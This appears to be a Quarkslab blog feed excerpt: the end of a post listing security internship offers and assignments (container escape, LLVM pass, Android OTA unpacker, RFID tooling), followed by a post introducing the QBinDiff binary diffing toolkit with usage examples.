<li>A Docker container running as a non-privileged user (user namespace) on a Linux VM. Your objective will be to escalate your privileges on the system and escape from the container (VM2).</li>
</ul>
<p>With each challenge will be provided hints and external resources which will help you solve them.
You don’t need to solve each one of them (however, the more, the better). Don't panic if you don't manage to solve all the challenges! What is important for us is how you reason and the way you tackle problems, hence we’re not interested in the flags that you’ve obtained. Don't hesitate to send us the solutions of the challenges that you did manage or tried to solve! In your solution, try to give as much detail as possible and provide us with clear explanations. Please include also the time that you've spent resolving the challenges.</p>
<p>Hint: Imagine that you’re sending it to people who are not experts in the challenge domains but have a decent understanding in security.</p>
<h3>Location</h3>
<ul>
<li>Paris</li>
</ul>
<h3>Duration</h3>
<ul>
<li>6 months</li>
</ul>
<hr>
<p><a id="llvm"></a></p>
<h2>LLVM-based Code Protection Assistant</h2>
<h3>Description</h3>
<p>At Quarkslab, we have been developing application protection tools since 2014, featuring obfuscation and runtime application self-protection (RASP). One of these tools (<a href="https://www.quarkslab.com/source-code-obfuscation-software/">QShield App Protection</a>) relies on a compiler framework, <a href="https://llvm.org">LLVM</a>, and thus comes as a replacement for the regular compiler used by our customers.
However, one of the challenges they face is to decide which protections to favor depending on the characteristics of their code.</p>
<p>The goal of this internship is to design an LLVM pass that gathers statistics about the characteristics of the code (such as the presence of arithmetic operations, number of functions, ...) and gives some feedback about the protections that could be interesting to apply.</p>
<h2>What you will do</h2>
<p>A preliminary study will be necessary to decide which metrics are potentially interesting for the different protections that are available in QShield App Protection (QAP).</p>
<p>Then, you will implement a pass that gathers the different metrics, and based on this implementation, you will generate feedback for the user.</p>
<p>Finally, you will integrate the solution in QAViz, our Graphical User Interface for QAP, so that the information is easily accessible to our users.</p>
<p>This process will likely be iterative, beginning with a first protection and a restrained set of metrics and improving the coverage as the internship goes on.</p>
<h3>Required Skills</h3>
<ul>
<li>Have an interest in compilers and software protection; (you don't need to be an expert in compilation ;) );</li>
<li>Be able to demonstrate experience developing in C++;</li>
<li>Be able to demonstrate experience with scripting and the Linux environment;</li>
<li>Be able to think out of the box and show your creativity;</li>
<li>Be able to communicate effectively technical matters in English, written and spoken.</li>
</ul>
<h3>Assignment</h3>
<ul>
<li>Write an LLVM pass (you can use <a href="https://www.llvm.org/docs/WritingAnLLVMNewPMPass.html">this documentation</a>) that prints, for each function, the number of basic blocks, the number of instructions. Optionally, also print the number of global variables that are used. Your solution should compile on Linux and use a relatively recent version of LLVM (at least 15).</li>
<li>Look at the Tigress obfuscator documentation, in particular the <a href="https://tigress.wtf/transformations.html">proposed protections</a>. Write a paragraph explaining what kind of obfuscations you would propose to protect a function with a lot of binary operations over integers done in sequence.</li>
<li>Provide your assignment as an archive containing your LLVM pass and a README including the paragraph on the proposed strategy as well as the instructions for building your code.</li>
</ul>
<h3>Duration</h3>
<ul>
<li>6 months</li>
</ul>
<h3>Location</h3>
<ul>
<li>Paris or Rennes</li>
</ul>
<hr>
<p><a id="pyrrha"></a></p>
<h2>Map your firmware with Pyrrha</h2>
<h3>Description</h3>
<p>Nowadays, structured firmwares can be a complete OS with thousands of files. It usually requires several hours to find the links between some components, and it is easy to get lost in this mass of information. At Quarkslab, we have combined and extended open-source solutions to solve this issue and help reversers in their daily tasks. The resulting tool, <a href="https://github.com/quarkslab/pyrrha">Pyrrha</a>, allows users to visualize the different binaries and libraries of the firmware and their interactions in the form of several dependency graphs.</p>
<p>Pyrrha is an extension of <a href="https://github.com/CoatiSoftware/Sourcetrail">Sourcetrail</a>, an open-source code source explorer (for c/cpp, Python, and Java). This extension uses <a href="https://lief-project.github.io/">LIEF</a> to analyze imports and exports of each library and binary of the firmware and create links between them. The result is exported as a sourcetrail database. Thanks to the Sourcetrail UI, the user will be able to navigate and search in the resulting firmware mapping.</p>
<h3>What you will do</h3>
<p>This internship's goal is to enhance Pyrrha's capabilities. As Pyrrha uses Sourcetrail, the first task will be to patch this tool to keep it working and to extend its functionality as it is an archived project. Then, you will improve the Pyrrha filesystem parser by adding new features. Finally, you will create a new parser to explore the code source of an already compiled binary.</p>
<h3>Required Skills</h3>
<ul>
<li>Good Python skills;</li>
<li>C++ basics.</li>
</ul>
<h3>Assignment</h3>
<p>This challenge goal is to create an unpacker for Android OTA update files as a Python package. The provided script <code>challenge.py</code> describes the required features of your module and provides hints on how OTA files can be unpacked. Your package should be able to extract at least the provided OTA file.</p>
<p>If you have any question regarding the understanding of the file format to extract do not hesitate to contact us, this challenge is done to evaluate your level in Python development not your ability to understand complex file formats.</p>
<p>Files to download:</p>
<ul>
<li><a href="https://files.quarkslab.com/56f3a919-4e96-4a76-b294-6388d4a02a58/challenge.py">challenge.py</a></li>
<li><a href="https://files.quarkslab.com/56f3a919-4e96-4a76-b294-6388d4a02a58/OTA_test.zip">OTA file</a> (750 MB)</li>
</ul>
<h3>Location</h3>
<ul>
<li>Paris</li>
</ul>
<h3>Duration</h3>
<ul>
<li>3 to 4 months</li>
</ul>
<hr>
<p><a id="rfid"></a></p>
<h2>Offensive RFID/NFC open-source tools development</h2>
<h3>Description</h3>
<p>For more than 15 years, the Proxmark3 has been the unbeatable Swiss army knife of 125 kHz and 13.56 MHz RFID hacking. Over these years, its software has accumulated a considerable amount of R&D and offensive features. But by today standards, its hardware (AT91SAM and xc2s30 FPGA) is aging and quite limited. A new open-source device based on a nRF52840, the Chameleon Ultra, has a great potential to cover the 125 kHz and the ISO14443A spectrums in a modern, fast-paced environment.</p>
<p>The goals of this internship are to develop a number of offensive features needed to be able to use the Chameleon Ultra as an effective Red Team tool. This involves getting intimately familiar both with the nRF firmware written in C and with the Python client.</p>
<p>This is your chance to experience the satisfaction of developing open-source tools beneficial for the entire infosec community, in close proximity with skilled colleagues having contributed to both projects since years, but also with external contributors.</p>
<h2>What you will do</h2>
<ul>
<li>Get familiar with various NFC/RFID security analysis techniques;</li>
<li>Improve and add offensive functionalities in the firmware and in the client.</li>
</ul>
<h3>Required Skills</h3>
<ul>
<li>Proficient in C and Python3;</li>
<li>Preferably knowledgeable with embedded devices specificities;</li>
<li>Capable of collaborating with other open-source contributors;</li>
<li>Good communication skills;</li>
<li>Prior interest/knowledge into RFID/NFC is highly recommended.</li>
</ul>
<h3>Assignment</h3>
<p>Write a Python script to decode as much as you can the RFID analog trace recorded in https://github.com/RfidResearchGroup/proxmark3/tree/master/traces/lf_sniff_blue_cloner_em4100.pm3, created by sniffing a "blue cloner" when it is writing an EM4100 ID on a T5577 tag and a EM4305 tag. You can use existing DSP/SDR libraries if it makes sense, but avoid huge frameworks.
The expected modulations are the ones used to write to T5577 and EM4305 tags and their response, read the datasheets!</p>
<p><img alt="blue_cloner_trace" src="resources/2023-10-16_quarkslab-internship-offers-for-2023-2024/blue_cloner_trace.png"></p>
<p>The trace visualization was obtained with the Proxmark client.</p>
<div class="highlight"><pre><span></span><code>pm3 --offline -c <span class="s1">'data load -f lf_sniff_blue_cloner_em4100.pm3; data plot'</span> -i
</code></pre></div>
<h3>Location</h3>
<ul>
<li>Paris</li>
</ul>
<h3>Duration</h3>
<ul>
<li>6 months</li>
</ul>QBinDiff: A modular diffing toolkit2023-10-12T00:00:00+02:002023-10-12T00:00:00+02:00Roxane Cohentag:blog.quarkslab.com,2023-10-12:/qbindiff-a-modular-diffing-toolkit.html<p>This blog post presents an overview of <a href="https://github.com/quarkslab/qbindiff/">QBinDiff</a>, the Quarkslab binary diffing tool officially released today. It describes its core principles and shows how it works on binaries as well as on general graph matching problems unrelated to IT security.</p><style>
img {
border: none !important;
padding: none !important;
}
img.with-border {
border: 1px solid !important;
}
p.center-text {
text-align: center !important;
}
.math-italic {
font-family: "MathJax_Main" !important;
font-style: italic !important;
font-size: 119% !important;
}
.math-regular {
font-family: "MathJax_Main" !important;
font-size: 119% !important;
line-height: normal !important;
}
</style>
<h1>QBinDiff: A modular diffing toolkit</h1>
<h2>Introduction</h2>
<p>Binary diffing is a specific reverse-engineering task aiming at comparing two binary
files that are usually executables. The ultimate refinement of disassembly, baring decompilation, is usually
the recovery of functions with bounds along with the associated call graph. As functions represent the different
functionalities contained in a binary, they are usually used as the base artifact for
diffing. The goal of differs is to compute a mapping between functions of a first binary
called primary (A) against those of the second called secondary (B). The mapping
computed is usually a 1-to-1 assignment. More evolved approaches try to compute M-to-N assignments
as functions can be inlined, or split by means of compilation or obfuscation. This blog post
focuses on the 1-to-1 assignment case.</p>
<p>Diffing somehow requires comparing the two programs and their functions. So the
main question is: which criteria should be used to match two functions?
A differ like <a href="https://github.com/joxeankoret/diaphora">Diaphora</a> is applying successive comparison passes starting from the
most empirically accurate (function names, bytes hashes, etc...). <a href="https://github.com/google/bindiff">BinDiff</a>, instead, is heavily
relying on the call graph and starts from imported functions as anchors. It then
explores recursively their call graph neighbors to match functions.</p>
<p>While they work very well in most usual cases, they reach some limits on more
specific scenarios (e.g.: two banks in the same firmware) or altered binaries like obfuscated
ones. Consequently, in the past few years, we explored alternative diffing algorithms
that would be more customizable in these scenarios where the reverser might be
led to provide their own features and criteria to perform the diff.</p>
<p>This led to the development of QBinDiff, a customizable, yet experimental, differ.</p>
<h2>Diffing as an instance of more generic problems</h2>
<p>Formally, we define the graph-matching problem as the process of <strong>aligning</strong> two attributed
directed graphs, where the term <em>align</em> means finding the <strong>best mapping</strong> between the nodes of the
first graph (called <em>primary</em>) to the nodes of the second one (called <em>secondary</em>). In this
case what exactly characterizes the <strong>best</strong> mapping is intentionally left undefined as there are
multiple ways of defining what a good match (between two nodes) is. It usually depends on the nature
of the underlying problem instance solved. For example, in binary diffing we might consider a match between
two functions to be good (aka valuable) if the two functions are semantically equal or
similar enough, although, on the other hand, we might also be interested in evaluating how much they
syntactically differ, hence, a good alignment has to leverage the similarity between the nodes.
In other scenarios, instead, we might be more focused on the topological similarity of the two nodes,
which means relying less on the node attributes and more on the call graph (i.e.: graph topology).</p>
<p><center>
<a href="resources/2023-10-12_qbindiff-blogpost/graph_alignment.png">
<img src="resources/2023-10-12_qbindiff-blogpost/graph_alignment.png" width="65%">
</a>
</center></p>
<p>In the previous image, we can see a representation of the <em>graph alignment</em> problem where we are
considering both topological information (the edges) and node attributes (the colors).
The black bold arrows represent the <strong>alignment</strong> (mapping).</p>
<p>The <em>graph alignment</em> problem has been analyzed in many research papers<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup><sup>,</sup><sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup><sup>,</sup><sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup> and is an
<a href="https://en.wikipedia.org/wiki/APX">APX-hard</a> problem. However, the underlying issue of lacking a unique general definition for a
<em>good</em> mapping between the nodes makes it difficult to solve.</p>
<p>QBinDiff adopts a unique strategy to combine both domain-specific knowledge <strong>and</strong> a general
theoretical algorithm for graph alignment. It uses two kinds of information:</p>
<ul>
<li>A similarity matrix between nodes of the two graphs (domain-specific).</li>
<li>The topology similarity between the two graphs.</li>
</ul>
<p>It then uses a state-of-the-art machine learning algorithm based on belief propagation to combine these
two information sources, using a tradeoff parameter (<span class="math-italic">α</span>) to weight the importance of each, to compute
the approximated final mapping between the two graphs.</p>
<p>This approach has the advantage of being versatile so that it can be applied to different instances
of the diffing problem, and it leaves the user a lot of space for customizing and tuning the
algorithm. Depending on the problem type, some heuristics might be more suitable than
others, and sometimes, we might rely more on the graph topology instead of the similarity or vice
versa.</p>
<p>People not interested in the theoretical aspects of the algorithm can jump straight to the binary diffing section.</p>
<h3>Similarity computation</h3>
<p>As we described previously, the similarity between the nodes of the two input graphs is one of the
two required inputs for QBinDiff. In practice, this information is encoded as a matrix <strong>S</strong>
that stores at position <span class="math-regular">[</span><span class="math-italic">n<sub>1</sub>, n<sub>2</sub></span><span class="math-regular">]</span> the similarity value (between 0 and 1) of the two nodes <span class="math-italic">n<sub>1</sub></span> and <span class="math-italic">n<sub>2</sub></span>.</p>
<p>In order to keep the most versatility, in QBinDiff, the similarity matrix can either be user
supplied (for problem instances that handle attributed graphs) or automatically computed from
the binary program by choosing some heuristics from a pre-determined set. These heuristics are
called <strong>features</strong> as they characterize the functions by extracting some information or <em>features</em>.</p>
<p>An example of a <strong>feature</strong> can be counting how many basic blocks there are in the function's
<em>Control Flow Graph (CFG)</em>, we can arguably say that similar functions should have more or less the
same number of blocks and by using that heuristic (or feature) we can give a score on how similar
two functions are. Beware that <em>features</em> are not guaranteed to provide always meaningful results:
a feature may be very useful for specific diffing and useless in others. Instead, they should be
carefully chosen depending on the characteristics of the binaries being analyzed.</p>
<p>To provide the user with even better control over the entire process, it is possible to specify
weights for the features, making some of them more important in the final evaluation of
the similarity.</p>
<p>For the complete list of features look at here. <a href="https://diffing.quarkslab.com/qbindiff/doc/source/features.html">https://diffing.quarkslab.com/qbindiff/doc/source/features.html</a></p>
<h3>Graph Alignment: Belief Propagation</h3>
<p>The second required piece of information is the Call Graph topology similarity between the two
graphs. This is equivalent to solving the <strong>Network Alignment Problem</strong>, i.e. a problem in graph
theory where the objective is to find a mapping or correspondence between nodes in two or more
networks (graphs) in a way that preserves their structural similarity.</p>
<p>The algorithm implemented by QBinDiff to solve the <em>Network Alignment Problem</em> takes into
consideration also the similarity matrix obtained before, resulting in a seamless combination of
domain-specific knowledge and theoretical approach.</p>
<p>The algorithm itself is based on the <em>max-product</em> (or <em>min-sum</em>) <em>belief propagation scheme</em>,<sup id="fnref:4"><a class="footnote-ref" href="#fn:4">4</a></sup>
which, in simpler terms, aims to identify the most probable assignment based on the information
gathered so far.</p>
<p>Given that the problem is not guaranteed to be solvable in polynomial time (remember that it
belongs to the APX-Hard category) a relaxation parameter <span class="math-italic">ϵ</span> must be introduced. This
element ensures that the algorithm always operates within polynomial time bounds, but the resulting
solution will be an approximation rather than the optimal one. Unfortunately, this is an unavoidable
tradeoff that we must accept.</p>
<p>This algorithm comes from the work of Elie Mengin. For a complete in-depth description refer to his
thesis<sup id="fnref:7"><a class="footnote-ref" href="#fn:7">5</a></sup> and articles<sup id="fnref:8"><a class="footnote-ref" href="#fn:8">6</a></sup><sup>,</sup><sup id="fnref:9"><a class="footnote-ref" href="#fn:9">7</a></sup>.</p>
<!-- to be replaced with the actual pdf on diffing portal -->
<h2>Binary Diffing</h2>
<p>While QBinDiff has been designed to be use-case agnostic, it has initially been written
for <em>binary diffing</em>. As such, it provides all functionalities for extracting attributed graphs from
binaries.</p>
<p>Similarly to other differs, it relies on existing disassemblers to parse the executable format and to
lift machine code into assembly code and high-level structures needed to understand the code (<em>Control Flow Graph</em>, <em>Call Graph</em>,
cross-references, etc...). This process can be really complex considering the variety of different
instruction set architectures and platforms that exist. So it
follows the Unix philosophy that software should do only one job and should do it well,
QBinDiff doesn't disassemble binaries <em>per-se</em>, but relies on the analysis of third-party
software (IDA, Ghidra, Binary Ninja, etc...) via exporters.</p>
<p>The purpose of an exporter is to serialize the disassembly and all relevant information in a file
that can then be processed by other software. Most differs rely on exporters to work. QBinDiff
supports the following exporters acting as a backend to load programs.</p>
<ul>
<li><a href="https://github.com/google/binexport">BinExport</a> (through <a href="https://github.com/quarkslab/python-binexport">python-binexport</a>)</li>
<li><a href="https://github.com/quarkslab/quokka">Quokka</a></li>
</ul>
<p>QBinDiff historically used BinExport (like BinDiff), but later integrated Quokka.
There are several differences between the exporters, some of them might affect the diffing
result in a good or bad way. Below we show a very shallow comparison between the two binary
exporters, Quokka and Binexport.</p>
<table class="table table-striped">
<thead>
<th>Binary Exporter</th>
<th>Disassembler</th>
<th>Format</th>
<th>Architectures</th>
<th>Data exhaustiveness</th>
<th>Export file size</th>
</thead>
<tbody>
<tr>
<th scope="row">BinExport</th>
<td>IDA Pro, Ghidra, Binary Ninja</td>
<td>Protobuf v2</td>
<td>x86, x64, ARM, AArch64, DEX, Msil</td>
<td>Partial</td>
<td>Big</td>
</tr>
<tr>
<th scope="row">Quokka</th>
<td>IDA Pro, Ghidra*</td>
<td>Protobuf v3</td>
<td>x86, x64, ARM, AArch64, MIPS, PPC</td>
<td>Complete</td>
<td>Medium</td>
</tr>
</tbody>
</table>
<p>*Ghidra extension under development</p>
<p>One can read <a href="https://blog.quarkslab.com/an-experimental-study-of-different-binary-exporters.html">here</a>
and <a href="https://blog.quarkslab.com/quokka-a-fast-and-accurate-binary-exporter.html">here</a> for a more
in-depth analysis of binary exporters.</p>
<p>These two exporters are integrated into QBinDiff as <strong>backends</strong> to perform a diff.
Their sole purpose is to offer an interface for QBinDiff to interact with the exported analysis
made by the disassembler. There is also a backend directly using IDA Pro.
In addition to these 3 loaders, it is possible to develop a custom one by implementing a specific
interface. See the <a href="https://diffing.quarkslab.com/tutorials/custom-backend-loader.html">tutorial</a> for more
information.</p>
<h2>Usage Example</h2>
<p>QBinDiff can simply be installed with pip:</p>
<div class="highlight"><pre><span></span><code>$ pip install qbindiff
</code></pre></div>
<p>This will install both the standalone differ and the python library but not the backend loaders.
To install them with pip run</p>
<div class="highlight"><pre><span></span><code>$ pip install qbindiff<span class="o">[</span>quokka,binexport<span class="o">]</span>
</code></pre></div>
<p>For this example let's consider <code>primary</code> and <code>secondary</code>, the two executables to compare. The
disassembly can be exported with BinExport in <code>primary.BinExport</code> and <code>secondary.BinExport</code> respectively.</p>
<div class="highlight"><pre><span></span><code>└── >> binexporter -i PATH_TO_IDA ./primary
<span class="o">[</span>INFO<span class="o">]</span> binexport written to: primary.BinExport
└── >> binexporter -i PATH_TO_IDA ./secondary
<span class="o">[</span>INFO<span class="o">]</span> binexport written to: secondary.BinExport
└── >> ls -la
total <span class="m">5504</span>
drwxr-xr-x <span class="m">2</span> user user <span class="m">80</span> Sep <span class="m">28</span> <span class="m">15</span>:24 .
drwxrwxrwt <span class="m">22</span> user user <span class="m">1260</span> Sep <span class="m">28</span> <span class="m">15</span>:10 ..
-rwxr-xr-x <span class="m">1</span> user user <span class="m">1914608</span> Sep <span class="m">28</span> <span class="m">15</span>:24 primary
-rw-r--r-- <span class="m">1</span> user user <span class="m">897045</span> Sep <span class="m">28</span> <span class="m">15</span>:30 primary.BinExport
-rwxr-xr-x <span class="m">1</span> user user <span class="m">1914600</span> Sep <span class="m">28</span> <span class="m">15</span>:24 secondary
-rw-r--r-- <span class="m">1</span> user user <span class="m">897094</span> Sep <span class="m">28</span> <span class="m">15</span>:30 secondary.BinExport
</code></pre></div>
<p>Now the standalone differ can be run like this:</p>
<div class="highlight"><pre><span></span><code>└── >> qbindiff -o result.BinDiff -ff bindiff -s <span class="m">0</span>.8 -d jaccard_strong <span class="se">\</span>
-f bnb:2 -f cc:1 -f Gd:1 -f dat:4 -f M:2 <span class="se">\</span>
-v -l binexport primary.BinExport secondary.BinExport
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Loading primary: primary.BinExport
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Loading secondary: secondary.BinExport
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Initializing NAP
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Computing NAP
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Converged after <span class="m">75</span> iterations
Score: <span class="m">1798</span>.8984 <span class="p">|</span> Similarity: <span class="m">478</span>.8984 <span class="p">|</span> Squares: <span class="m">1320</span> <span class="p">|</span> Nb matches: <span class="m">479</span>
Node cover: <span class="m">100</span>.000% / <span class="m">100</span>.000% <span class="p">|</span> Edge cover: <span class="m">100</span>.000% / <span class="m">100</span>.000%
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Saving
<span class="o">[</span>INFO<span class="o">]</span> <span class="o">[</span>+<span class="o">]</span> Mapping successfully saved to: result.BinDiff
</code></pre></div>
<p>Let's look closely at each option:</p>
<ul>
<li><code>-o result.BinDiff</code> Filename of the output file containing the diffing result.</li>
<li><code>-ff bindiff</code> Format to be used for the output result. In this case, we are using a BinDiff
compatible format.</li>
<li><code>-s 0.8</code> Sparsity ratio of the similarity matrix. The closer it is to 1, the less information we
retain but also the faster it will be.</li>
<li><code>-d jaccard_strong</code> The distance metric function that will be used to evaluate the similarity
between two feature vectors.</li>
<li><code>-f bnb:2</code> <code>-f cc:1</code> <code>...</code> These options specify which features will be used for computing the
similarity matrix alongside their associated weights.</li>
<li><code>-v</code> Enable verbose mode. Useful to have some info about the progress of the diffing as it
might be slow</li>
<li><code>-l binexport</code> Use the BinExport backend loader</li>
<li><code>primary.BinExport secondary.BinExport</code> the two exported binaries that will be diffed.</li>
</ul>
<p>The result is a <code>BinDiff</code> file that contains the mapping between the functions of the two binaries.
In order to visualize the diffing, the file <code>result.BinDiff</code> can be opened with
<a href="https://github.com/google/bindiff">BinDiff</a>.</p>
<p>More details are available on the GitHub page: <a href="https://github.com/quarkslab/qbindiff">https://github.com/quarkslab/qbindiff</a>.</p>
<p><center>
<a href="resources/2023-10-12_qbindiff-blogpost/bindiff.png">
<img src="resources/2023-10-12_qbindiff-blogpost/bindiff.png" class="with-border" width="100%">
</a>
</center></p>
<p class="center-text"><em>Example of BinDiff UI visualizing the QBinDiff generated <code>result.BinDiff</code></em></p>
<h3>QBinDiff as a library</h3>
<p>QBinDiff was designed particularly to be used as a library for programmatic diffing.
The previous example can be reproduced with the Python snippet below.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/env python3</span>
<span class="kn">from</span> <span class="nn">qbindiff</span> <span class="kn">import</span> <span class="n">Program</span><span class="p">,</span> <span class="n">QBinDiff</span><span class="p">,</span> <span class="n">LoaderType</span><span class="p">,</span> <span class="n">Distance</span>
<span class="kn">from</span> <span class="nn">qbindiff.features</span> <span class="kn">import</span> <span class="n">BBlockNb</span><span class="p">,</span> <span class="n">CyclomaticComplexity</span><span class="p">,</span> <span class="n">GraphDensity</span><span class="p">,</span> <span class="n">DatName</span><span class="p">,</span> <span class="n">MnemonicSimple</span>
<span class="c1"># Load binary disassembly using the binexport backend loader</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Loading primary: ./primary"</span><span class="p">)</span>
<span class="n">primary</span> <span class="o">=</span> <span class="n">Program</span><span class="p">(</span><span class="n">LoaderType</span><span class="o">.</span><span class="n">binexport</span><span class="p">,</span> <span class="s2">"./primary.BinExport"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Loading secondary: ./secondary"</span><span class="p">)</span>
<span class="n">secondary</span> <span class="o">=</span> <span class="n">Program</span><span class="p">(</span><span class="n">LoaderType</span><span class="o">.</span><span class="n">binexport</span><span class="p">,</span> <span class="s2">"./secondary.BinExport"</span><span class="p">)</span>
<span class="c1"># Initialize QBinDiff object</span>
<span class="n">qbindiff</span> <span class="o">=</span> <span class="n">QBinDiff</span><span class="p">(</span>
<span class="n">primary</span><span class="p">,</span>
<span class="n">secondary</span><span class="p">,</span>
<span class="n">sparsity_ratio</span><span class="o">=</span><span class="mf">0.7</span><span class="p">,</span>
<span class="n">distance</span><span class="o">=</span><span class="n">Distance</span><span class="o">.</span><span class="n">jaccard_strong</span><span class="p">,</span>
<span class="p">)</span>
<span class="c1"># Register features</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">register_feature_extractor</span><span class="p">(</span><span class="n">BBlockNb</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">register_feature_extractor</span><span class="p">(</span><span class="n">CyclomaticComplexity</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">register_feature_extractor</span><span class="p">(</span><span class="n">GraphDensity</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">register_feature_extractor</span><span class="p">(</span><span class="n">DatName</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">register_feature_extractor</span><span class="p">(</span><span class="n">MnemonicSimple</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Initializing NAP"</span><span class="p">)</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">process</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Computing NAP"</span><span class="p">)</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">compute_matching</span><span class="p">()</span>
<span class="c1"># Exporting the result to BinDiff format</span>
<span class="n">qbindiff</span><span class="o">.</span><span class="n">export_to_bindiff</span><span class="p">(</span><span class="s2">"result.BinDiff"</span><span class="p">)</span>
</code></pre></div>
<p>After completing the diff, one can already play with the result without having to export it to a
<code>BinDiff</code> file format, in fact, it is possible to access the <a href="https://diffing.quarkslab.com/qbindiff/doc/source/api/mapping.html#mapping"><code>Mapping</code></a> object
that contains the entire detailed mapping between functions with the similarity and confidence
scores.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">qbindiff</span> <span class="kn">import</span> <span class="n">Mapping</span>
<span class="k">def</span> <span class="nf">display_statistics</span><span class="p">(</span><span class="n">differ</span><span class="p">:</span> <span class="n">QBinDiff</span><span class="p">,</span> <span class="n">mapping</span><span class="p">:</span> <span class="n">Mapping</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="n">nb_matches</span> <span class="o">=</span> <span class="n">mapping</span><span class="o">.</span><span class="n">nb_match</span>
<span class="n">similarity</span> <span class="o">=</span> <span class="n">mapping</span><span class="o">.</span><span class="n">similarity</span>
<span class="n">nb_squares</span> <span class="o">=</span> <span class="n">mapping</span><span class="o">.</span><span class="n">squares</span>
<span class="n">output</span> <span class="o">=</span> <span class="p">(</span>
<span class="sa">f</span><span class="s2">"Score: </span><span class="si">{</span><span class="n">similarity</span> <span class="o">+</span> <span class="n">nb_squares</span><span class="si">:</span><span class="s2">.4f</span><span class="si">}</span><span class="s2"> | "</span>
<span class="sa">f</span><span class="s2">"Similarity: </span><span class="si">{</span><span class="n">similarity</span><span class="si">:</span><span class="s2">.4f</span><span class="si">}</span><span class="s2"> | "</span>
<span class="sa">f</span><span class="s2">"Squares: </span><span class="si">{</span><span class="n">nb_squares</span><span class="si">:</span><span class="s2">.0f</span><span class="si">}</span><span class="s2"> | "</span>
<span class="sa">f</span><span class="s2">"Nb matches: </span><span class="si">{</span><span class="n">nb_matches</span><span class="si">}</span><span class="se">\n</span><span class="s2">"</span>
<span class="p">)</span>
<span class="n">output</span> <span class="o">+=</span> <span class="s2">"Node cover: </span><span class="si">{:.3f}</span><span class="s2">% / </span><span class="si">{:.3f}</span><span class="s2">% | Edge cover: </span><span class="si">{:.3f}</span><span class="s2">% / </span><span class="si">{:.3f}</span><span class="s2">%</span><span class="se">\n</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span>
<span class="mi">100</span> <span class="o">*</span> <span class="n">nb_matches</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">differ</span><span class="o">.</span><span class="n">primary_adj_matrix</span><span class="p">),</span>
<span class="mi">100</span> <span class="o">*</span> <span class="n">nb_matches</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">differ</span><span class="o">.</span><span class="n">secondary_adj_matrix</span><span class="p">),</span>
<span class="mi">100</span> <span class="o">*</span> <span class="n">nb_squares</span> <span class="o">/</span> <span class="n">differ</span><span class="o">.</span><span class="n">primary_adj_matrix</span><span class="o">.</span><span class="n">sum</span><span class="p">(),</span>
<span class="mi">100</span> <span class="o">*</span> <span class="n">nb_squares</span> <span class="o">/</span> <span class="n">differ</span><span class="o">.</span><span class="n">secondary_adj_matrix</span><span class="o">.</span><span class="n">sum</span><span class="p">(),</span>
<span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
<span class="c1"># After computing the diff (qbindiff.compute_matching()) we can</span>
<span class="c1"># access the object qbindiff.mapping</span>
<span class="n">display_statistics</span><span class="p">(</span><span class="n">qbindiff</span><span class="p">,</span> <span class="n">qbindiff</span><span class="o">.</span><span class="n">mapping</span><span class="p">)</span>
</code></pre></div>
<p>The result that we obtain should be pretty much the same as before.</p>
<h2>Not a Binary? No Problem: Bioinformatics use-case</h2>
<p>As shown above, QBinDiff is solving an optimization problem that goes beyond binary diffing. In fact,
binary diffing is somehow just an instance of this problem. Different research fields, especially biology,
also have this kind of problem.</p>
<p>We designed a low-level API that works on any kind of problem given the two core elements of the algorithm:</p>
<ul>
<li>A matrix representing the pairwise similarity between two objects in the problem domain.</li>
<li>A generic graph where a node is the atomic object in the problem domain and edges represent relationships between objects.</li>
</ul>
<p>In binary diffing, these base objects are functions, but they can be pages/profiles in social networks,
or atoms in molecules analysis.</p>
<p>One important use case in bioinformatics is the alignment of protein-protein interaction (<strong>PPI</strong>)
networks of different species<sup id="fnref:5"><a class="footnote-ref" href="#fn:5">8</a></sup>. A <em>PPI</em> network is a huge graph in which the nodes are proteins and
edges represent interactions between them. A comparative study of these two graphs can
reveal important insights that may help in disease analysis, drug design, understanding the
biological systems of different species, and more.</p>
<p>In this example, we are going to analyze the <em>PPI</em> networks of <em>Homo sapiens</em> (human) and
<em>Mus musculus</em> (mouse). These networks have been studied multiple times and as such are available in
several open databases. In this case, we used the <strong>BioGRID</strong> <a href="https://thebiogrid.org/">public database</a>,
which archives and disseminates genetic and protein interaction data collected from over 70,000+
publications in primary literature.</p>
<!-- Gephi <3 *.* -->
<p><center>
<a href="resources/2023-10-12_qbindiff-blogpost/homosapiens_ppi.svg">
<img src="resources/2023-10-12_qbindiff-blogpost/homosapiens_ppi.svg" width="46%">
</a>
